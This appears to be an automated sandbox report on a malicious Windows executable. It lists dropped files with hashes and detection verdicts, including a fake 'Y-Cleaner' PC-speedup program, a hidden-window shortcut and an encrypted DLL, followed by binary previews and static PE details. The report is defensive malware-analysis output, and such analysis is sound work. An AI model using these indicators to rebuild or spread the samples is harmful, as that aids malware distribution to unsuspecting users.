Preview:	..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.A.P.P.C.R.A.S.H.....E.v.e.n.t.T.i.m.e.=.1.3.3.7.8.5.0.5.8.2.6.2.3.0.7.8.7.6.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....U.p.l.o.a.d.T.i.m.e.=.1.3.3.7.8.5.0.5.8.2.6.7.9.3.2.8.6.3.....R.e.p.o.r.t.S.t.a.t.u.s.=.6.5.5.4.5.6.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.4.7.f.c.8.8.2.0.-.c.c.8.a.-.4.b.9.0.-.9.4.9.a.-.b.3.9.2.7.9.2.9.f.8.6.a.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.9.0.5.0.1.5.2.1.-.c.0.3.e.-.4.c.1.8.-.9.a.3.0.-.d.b.8.6.b.e.7.8.5.f.9.0.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....W.o.w.6.4.G.u.e.s.t.=.3.3.2.....N.s.A.p.p.N.a.m.e.=.f.i.l.e...e.x.e.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.1.c.5.c.-.0.0.0.1.-.0.0.1.4.-.9.d.d.a.-.0.d.1.5.c.d.4.c.d.b.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.6.6.1.4.9.7.9.f.a.6.0.7.e.3.8.d.2.7.9.0.5.b.1.f.1.5.1.f.1.c.2.5.8.0.0.0.0.1.5.0.6.!.0.0.0.0.d.a.e.7.d.1.e.7.5.6.1.f.a.f.a.9.0.3.1.5.2.a.1.3.9.a.f.6.f.4.0.6.c.e.1.a.2.d.8.5.!.f.i.l.e...e.x.e.....T.a.r.g.e.t.A.p.p.V.e.r.=.2.0.2.4././.1.2.

C:\ProgramData\Microsoft\Windows\WER\Temp\WERC7B5.tmp.dmp

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Mini DuMP crash report, 14 streams, Thu Dec 12 19:37:06 2024, 0x1205a4 type
Category:	dropped
Size (bytes):	46434
Entropy (8bit):	2.542988179865769
Encrypted:	false
SSDEEP:	384:pyOr2kE5jGz1BHFifGVMP8wc0ywURAHy96:Ysp0j21qfGWP8zwuc
MD5:	E81508B9E1BDDBC99809D466DC283896
SHA1:	758F5B5734B91A0BF5E5CFB3ACD6AEB1D8C8F274
SHA-256:	D738ADF02248D389881776E7D0FDC6B5BEA43A7D8CE9E855DE6DD75B6306EF27
SHA-512:	CDC7B598851288B2D5F0D2C6082134A396908096B37AB29B0C41F0C1E6C2278E18E89A9C2C2E3C741F25D9F811C2A639E3A41C338A4DB28E54794E07266A5801
Malicious:	false
Reputation:	low
Preview:	MDMP..a..... .......b;[g............4...........8...<.......T....,..........T.......8...........T...........PB...s..........t...........` ..............................................................................eJ....... ......GenuineIntel............T.......\...$;[g.............................0..2...........,...E.a.s.t.e.r.n. .S.t.a.n.d.a.r.d. .T.i.m.e...........................................E.a.s.t.e.r.n. .S.u.m.m.e.r. .T.i.m.e...............................................1.9.0.4.1...1...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6...................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\Temp\WERC8CF.tmp.WERInternalMetadata.xml

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	8298
Entropy (8bit):	3.6899100227650186
Encrypted:	false
SSDEEP:	192:R6l7wVeJpCH6f6Y9cSU9NgmfBGWr88pDG89bE0pisfIsm:R6lXJ06f6YGSU9NgmfZAeE0phfC
MD5:	FE2D2151E16BADADA980CE4BF0D90393
SHA1:	2F81289698BBEDF11B34E1D74A018C2FD82BC8DD
SHA-256:	83F54A2A983377C045EE857F2065EA0916C893DF56A7D22C74E14DFC5FC597A7
SHA-512:	449612BEE4A5F257431263710A5BA6761B92C7ADD70969BCB4AB5EC60A0E5FF4C659FF177E178DEA7663B651D11B726EA92AE2726FA180EF254E850B05C62A7B
Malicious:	false
Reputation:	low
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.9.0.4.5.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.9.0.4.1...2.0.0.6...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.2.0.0.6.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.2.0.5.7.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.7.2.6.0.<./.P.i.

C:\ProgramData\Microsoft\Windows\WER\Temp\WERC90F.tmp.xml

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4541
Entropy (8bit):	4.425295177165896
Encrypted:	false
SSDEEP:	48:cvIwWl8zsGJg77aI9mBWpW8VYUYm8M4JBRFGp+q82ik1Yf+Ad:uIjfcI7wQ7VkJopCPf+Ad
MD5:	A4A2C4CACB33BB1F040AD662F68EF413
SHA1:	ED604C451E7CE3C7D7C99BC269B2300547D07CA6
SHA-256:	206716FA4E7E36B2C42F22FBF4A1976AEDB889D811FF0F2F5AB1BE189807A8E0
SHA-512:	3E2D206954F85BF2ED20688443D0EDD0DE7142E98FDC5FA1F3B8C2DED125D4E44AFFE417D5545D84B0745EDC787E845AB8D336FFEFEBC33FE1E7BDF147975F03
Malicious:	false
Reputation:	low
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="19045" />.. <arg nm="vercsdbld" val="2006" />.. <arg nm="verqfe" val="2006" />.. <arg nm="csdbld" val="2006" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="2057" />.. <arg nm="geoid" val="223" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="628479" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.789.19041.0-11.0.1000" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="409

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\add[1].htm

Process:	C:\Users\user\Desktop\file.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:V:V
MD5:	CFCD208495D565EF66E7DFF9F98764DA
SHA1:	B6589FC6AB0DC82CF12099D1C2D40AB994E8410C
SHA-256:	5FECEB66FFC86F38D952786C6D696C79C2DBC239DD4E91B46729D73A27FB57E9
SHA-512:	31BCA02094EB78126A517B206A88C73CFA9EC6F704C7030D18212CACE820F025F00BF0EA68DBF3F3A5436CA63B53BF7BF80AD8D5DE7D8359D0B7FED9DBC3AB99
Malicious:	false
Reputation:	high, very likely benign file
Preview:	0

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\dll[1]

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	242176
Entropy (8bit):	6.47050397947197
Encrypted:	false
SSDEEP:	6144:SIQpxILDXGGMO7Ice9C5kQw2hWHcHTykhb:SIQpxILDXGGlET9n/cHG
MD5:	2ECB51AB00C5F340380ECF849291DBCF
SHA1:	1A4DFFBCE2A4CE65495ED79EAB42A4DA3B660931
SHA-256:	F1B3E0F2750A9103E46A6A4A34F1CF9D17779725F98042CC2475EC66484801CF
SHA-512:	E241A48EAFCAF99187035F0870D24D74AE97FE84AAADD2591CCEEA9F64B8223D77CFB17A038A58EADD3B822C5201A6F7494F26EEA6F77D95F77F6C668D088E6B
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: Mk4JWS27SO.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse
Reputation:	high, very likely benign file
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...Jl.X...........!..................... ........... ....................... ............@.....................................W.................................................................................... ............... ..H............text...4.... ...................... ..`.rsrc...............................@..@.reloc..............................@..B........................H........`..4e...........U..............................................}.Y.y.=.{.X.x.=..r...p.o2....o...(3.....o2...}....:..s.....(...........2r...p(;...&Vr...p.....r...p.......(....>.........}.......(C.....o...(D...(E...}.....(F...(E...(G...&>.........}.......(C.....o...(D...}.....(F...(E...(H...&".......>.........}....R..} .....{ ...oo.....{ ..."..}!.....{!......}.....{#....{....op....{....,...{ ...oo.....{!...oo.....{....B.....su...(v.....{#....{#...

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\download[1].htm

Process:	C:\Users\user\Desktop\file.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:V:V
MD5:	CFCD208495D565EF66E7DFF9F98764DA
SHA1:	B6589FC6AB0DC82CF12099D1C2D40AB994E8410C
SHA-256:	5FECEB66FFC86F38D952786C6D696C79C2DBC239DD4E91B46729D73A27FB57E9
SHA-512:	31BCA02094EB78126A517B206A88C73CFA9EC6F704C7030D18212CACE820F025F00BF0EA68DBF3F3A5436CA63B53BF7BF80AD8D5DE7D8359D0B7FED9DBC3AB99
Malicious:	false
Preview:	0

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\fuckingdllENCR[1].dll

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	97296
Entropy (8bit):	7.9982317718947025
Encrypted:	true
SSDEEP:	1536:A1FazaNKjs9ezO6kGnCRFVjltPjM9Ew1MhiIeJfZCQdOlnq32YTCUZiyAS3tUX9F:k4zaMjVUGCRzbgqw1MoIeJyQ4nyqX9F
MD5:	E6743949BBF24B39B25399CD7C5D3A2E
SHA1:	DBE84C91A9B0ACCD2C1C16D49B48FAEAEC830239
SHA-256:	A3B82FC46635A467CC8375D40DDBDDD71CAE3B7659D2BB5C3C4370930AE9468C
SHA-512:	3D50396CDF33F5C6522D4C485D96425C0DDB341DB9BD66C43EAE6D8617B26A4D9B4B9A5AEE0457A4F1EC6FAC3CB8208C562A479DCAE024A50143CBFA4E1F15F6
Malicious:	false
Preview:	XM .4Ih..]...t.&.s...v.0{.v.vs'...:.l.h...e.....R....1...r.R+Fk....~.s.....Q.....r.T.b.....~c..[........;...j.@.0.%.....x...v.w.....<ru....Yre;.b6...HQ-...8.B..Q.a...R.:.h&r.......=.;r.k..T.@....l..;#..3!.O..x.}........y'<.GfQ.K.#.L5v..].......d....N{e..@................A\..<.t.u.X.O.n..Z.. .Xb.O<.Z...h~.(.W.f.z.V.4..L...%5.0...H..`s...y.B......(IL5s:aS}X.......M9.J.o....).'..M;n6]...W..n....)...L...._..e.....>....[....RA.........'...6.N..g6....IY.%h.. 3r....^..\.b~y./....h.2......ZLk....u}..V..<.fbD.<!.._2.zo..IE...P..O...u......P.......w#.6N..&l.R}GI...LY...N.yz..j..Hy.'..._.5..Pd9.y..+....6.q...).G.c...L#....5\.M....5U])....U(..~H.m....Y....G1.r.4.B..h........P..]i...M%.............)q......]....~\|..j...b..K!..N.7R.}T.2bsq..1...L^..!.\|q.D'...s.Ln...D@..bn%0=b.Q1.....+l...QXO\|.......NC.d......{.0....8F.....<.W.y..{o..j.3.....n..4.....eS]. K...o.B.H~.sh.1....m8....6{.ls..R..q..~....w._;....X*.#..U....6n.ODbT.+Zc....q....S.$-S`YT....

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\download[1].htm

Process:	C:\Users\user\Desktop\file.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:V:V
MD5:	CFCD208495D565EF66E7DFF9F98764DA
SHA1:	B6589FC6AB0DC82CF12099D1C2D40AB994E8410C
SHA-256:	5FECEB66FFC86F38D952786C6D696C79C2DBC239DD4E91B46729D73A27FB57E9
SHA-512:	31BCA02094EB78126A517B206A88C73CFA9EC6F704C7030D18212CACE820F025F00BF0EA68DBF3F3A5436CA63B53BF7BF80AD8D5DE7D8359D0B7FED9DBC3AB99
Malicious:	false
Preview:	0

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\key[1].htm

Process:	C:\Users\user\Desktop\file.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	21
Entropy (8bit):	3.880179922675737
Encrypted:	false
SSDEEP:	3:gFsR0GOWW:gyRhI
MD5:	408E94319D97609B8E768415873D5A14
SHA1:	E1F56DE347505607893A0A1442B6F3659BEF79C4
SHA-256:	E29A4FD2CB1F367A743EA7CFD356DBD19AEB271523BBAE49D4F53257C3B0A78D
SHA-512:	994FA19673C6ADC2CC5EF31C6A5C323406BB351551219EE0EEDA4663EC32DAF2A1D14702472B5CF7B476809B088C85C5BE684916B73046DA0DF72236BC6F5608
Malicious:	false
Preview:	9tKiK3bsYm4fMuK47Pk3s

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\soft[1]

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	1502720
Entropy (8bit):	7.646111739368707
Encrypted:	false
SSDEEP:	24576:7i4dHPD/8u4dJG/8yndSzGmTG2/mR2SGeYdc0GmTG2/mR6Trr2h60qP:7rPD/8I/8ly+Zrr2h60qP
MD5:	A8CF5621811F7FAC55CFE8CB3FA6B9F6
SHA1:	121356839E8138A03141F5F5856936A85BD2A474
SHA-256:	614A0362AB87CEE48D0935B5BB957D539BE1D94C6FDEB3FE42FAC4FBE182C10C
SHA-512:	4479D951435F222CA7306774002F030972C9F1715D6AAF512FCA9420DD79CB6D08240F80129F213851773290254BE34F0FF63C7B1F4D554A7DB5F84B69E84BDD
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 75%
Joe Sandbox View:	Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: Mk4JWS27SO.exe, Detection: malicious, Browse Filename: BsVEQQnfyN.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L..._............"...0..0...........O... ...`....@.. .......................@............`.................................LO..O....`...................... ......0O............................................... ............... ..H............text..../... ...0.................. ..`.rsrc.......`.......2..............@..@.reloc....... ......................@..B.................O......H.......h~...D......U... .................................................(......(.....~....-.r...p.....(....o....s.........~.....~...........j(....r=..p~....o....t....j(....rM..p~....o....t....j(....r...p~....o....t....j(....r...p~....o....t....j(....r...p~....o....t....j(....r...p~....o....t....j(....r...p~....o....t.....~......(....Vs....(....t.........N.(.....(.....(........0..f.......(.........8M........o....9:....o.......o.......-a.{......<...%..o.....%.

C:\Users\user\AppData\Local\Temp\w8s4EAGWrfES\Bunifu_UI_v1.5.3.dll

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	242176
Entropy (8bit):	6.47050397947197
Encrypted:	false
SSDEEP:	6144:SIQpxILDXGGMO7Ice9C5kQw2hWHcHTykhb:SIQpxILDXGGlET9n/cHG
MD5:	2ECB51AB00C5F340380ECF849291DBCF
SHA1:	1A4DFFBCE2A4CE65495ED79EAB42A4DA3B660931
SHA-256:	F1B3E0F2750A9103E46A6A4A34F1CF9D17779725F98042CC2475EC66484801CF
SHA-512:	E241A48EAFCAF99187035F0870D24D74AE97FE84AAADD2591CCEEA9F64B8223D77CFB17A038A58EADD3B822C5201A6F7494F26EEA6F77D95F77F6C668D088E6B
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...Jl.X...........!..................... ........... ....................... ............@.....................................W.................................................................................... ............... ..H............text...4.... ...................... ..`.rsrc...............................@..@.reloc..............................@..B........................H........`..4e...........U..............................................}.Y.y.=.{.X.x.=..r...p.o2....o...(3.....o2...}....:..s.....(...........2r...p(;...&Vr...p.....r...p.......(....>.........}.......(C.....o...(D...(E...}.....(F...(E...(G...&>.........}.......(C.....o...(D...}.....(F...(E...(H...&".......>.........}....R..} .....{ ...oo.....{ ..."..}!.....{!......}.....{#....{....op....{....,...{ ...oo.....{!...oo.....{....B.....su...(v.....{#....{#...

C:\Users\user\AppData\Local\Temp\w8s4EAGWrfES\Y-Cleaner.exe

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	1502720
Entropy (8bit):	7.646111739368707
Encrypted:	false
SSDEEP:	24576:7i4dHPD/8u4dJG/8yndSzGmTG2/mR2SGeYdc0GmTG2/mR6Trr2h60qP:7rPD/8I/8ly+Zrr2h60qP
MD5:	A8CF5621811F7FAC55CFE8CB3FA6B9F6
SHA1:	121356839E8138A03141F5F5856936A85BD2A474
SHA-256:	614A0362AB87CEE48D0935B5BB957D539BE1D94C6FDEB3FE42FAC4FBE182C10C
SHA-512:	4479D951435F222CA7306774002F030972C9F1715D6AAF512FCA9420DD79CB6D08240F80129F213851773290254BE34F0FF63C7B1F4D554A7DB5F84B69E84BDD
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 75%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L..._............"...0..0...........O... ...`....@.. .......................@............`.................................LO..O....`...................... ......0O............................................... ............... ..H............text..../... ...0.................. ..`.rsrc.......`.......2..............@..@.reloc....... ......................@..B.................O......H.......h~...D......U... .................................................(......(.....~....-.r...p.....(....o....s.........~.....~...........j(....r=..p~....o....t....j(....rM..p~....o....t....j(....r...p~....o....t....j(....r...p~....o....t....j(....r...p~....o....t....j(....r...p~....o....t....j(....r...p~....o....t.....~......(....Vs....(....t.........N.(.....(.....(........0..f.......(.........8M........o....9:....o.......o.......-a.{......<...%..o.....%.

C:\Users\user\Desktop\Cleaner.lnk

Process:	C:\Users\user\Desktop\file.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Description string, Has Relative path, Icon number=0, Archive, ctime=Thu Dec 12 18:37:05 2024, mtime=Thu Dec 12 18:37:05 2024, atime=Thu Dec 12 18:37:05 2024, length=1502720, window=hide
Category:	dropped
Size (bytes):	2121
Entropy (8bit):	3.7742901779979308
Encrypted:	false
SSDEEP:	24:8Sox33NwDacR+gKN/s6n8A/ZfkhRvNKd9fO4ZkhZq2eDqyFm:8533NwucRAL7/BkhRvNKd9fZkhZquyF
MD5:	3DDA834E917E86A9AE4EC5D1B27EA097
SHA1:	7DB2298E717EC21433FD12700458766D88C76060
SHA-256:	4C6137B7C80ABBA69743D4556DB69F101ED1E5514BC932D0CF29F511C99DB511
SHA-512:	56AE6185F3171E05A691C825BC89067F3538459F0824C1D493D93E4FDA8988AD15DA8685E717960BB16122F40E9EBB7C91D379DC3477861677756FB5A19A2759
Malicious:	false
Preview:	L..................F.@.. ...N.9.L...G.9.L...G.9.L..........................&.:..DG..Yr?.D..U..k0.&...&......vk.v.....M...L...n.9.L......t...CFSF..1.....CW.^..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......CW.^.Y{............................%..A.p.p.D.a.t.a...B.P.1......Y}...Local.<......CW.^.Y......b.......................C.L.o.c.a.l.....N.1......Y....Temp..:......CW.^.Y......l......................B..T.e.m.p.....b.1......Y....W8S4EA~1..J......Y...Y............................Ry..w.8.s.4.E.A.G.W.r.f.E.S.....h.2......Y.. .Y-CLEA~1.EXE..L......Y...Y...........................!UF.Y.-.C.l.e.a.n.e.r...e.x.e.......k...............-.......j..............F.....C:\Users\user\AppData\Local\Temp\w8s4EAGWrfES\Y-Cleaner.exe....M.a.k.e. .y.o.u.r. .P.C. .f.a.s.t.e.r.0.....\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.T.e.m.p.\.w.8.s.4.E.A.G.W.r.f.E.S.\.Y.-.C.l.e.a.n.e.r...e.x.e.<.C.:.\.U.s.e.r.s.\.j.o.n.e.s.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.T.e.m.p.\.w.8.s.4.E.A.G.W.r.f.E.S.\.Y.-.C.l.e.a.n.e.r...e.x.e......

C:\Windows\appcompat\Programs\Amcache.hve

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	1835008
Entropy (8bit):	4.465268624430421
Encrypted:	false
SSDEEP:	6144:0IXfpi67eLPU9skLmb0b4+WSPKaJG8nAgejZMMhA2gX4WABl0uNPdwBCswSba:JXD94+WlLZMM6YFH1+a
MD5:	7F99DD6A6B12152686E490DF3B97655D
SHA1:	9C8944B297CF5B2E04759F61468C251A09286970
SHA-256:	0CAE12A8B3A0081E1231469577556C18A7AC5F9F1D09DAF283F16FA50A7131F2
SHA-512:	E3918BE1F98A6AB24298E1BFC22FBEEC551ADDA4742B206EA469C79B82304D60F94C6812ED9628879F19AD502EE2FF692F6E38C592B4037608A0FD5B2B3BD890
Malicious:	false
Preview:	regf6...6....\.Z.................... ...........\.A.p.p.C.o.m.p.a.t.\.P.r.o.g.r.a.m.s.\.A.m.c.a.c.h.e...h.v.e....c...b...#.......c...b...#...........c...b...#......rmtm...9.L...............................................................................................................................................................................................................................................................................................................................................o..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.933274740755222
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	1'961'472 bytes
MD5:	b8501b9ad61e6247049c8c36bf6eaf57
SHA1:	dae7d1e7561fafa903152a139af6f406ce1a2d85
SHA256:	12e5a10025f316a2ce8b05a5e4170d3a5f6578ab97088c77ff9a552afaf592f6
SHA512:	0a622fef06dc61e4572f6059619bfdfc095e7463d1e9f0ad3e2bb37916554655e36086d492a3f7b59a42567c546b2ead2fdd90f432d7258e216331ca98fac6a8
SSDEEP:	49152:DHyu5WDlc89w6CltNX9O0RPVo6uTdXbGEBA:ZqL9Hus0Ho3Xid
TLSH:	489533B1FA11094EE92DC977C61ED5F3A227D501ED2AA6B1850CDFAF8C358CEC392941
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........!J..@$..@$..@$......@$......@$......@$..._..@$..@%..@$......@$......@$......@$.Rich.@$.........PE..L......d...................

File Icon


Icon Hash:	c7a99a8aa651798c

Static PE Info

General

Entrypoint:	0xc69000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	RELOCS_STRIPPED, EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	TERMINAL_SERVER_AWARE
Time Stamp:	0x64DDDE0C [Thu Aug 17 08:45:00 2023 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	0
File Version Major:	5
File Version Minor:	0
Subsystem Version Major:	5
Subsystem Version Minor:	0
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007F94204F0D6Ah
bswap esp
sbb eax, 00000000h
add cl, ch
add byte ptr [eax], ah
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Rich Headers

Programming Language:

[C++] VS2008 build 21022
[ASM] VS2008 build 21022
[ C ] VS2008 build 21022
[IMP] VS2005 build 50727
[RES] VS2008 build 21022
[LNK] VS2008 build 21022

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x42105a	0x6e	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x40e000	0x12168	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x85cbe4	0x18	getekmla
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
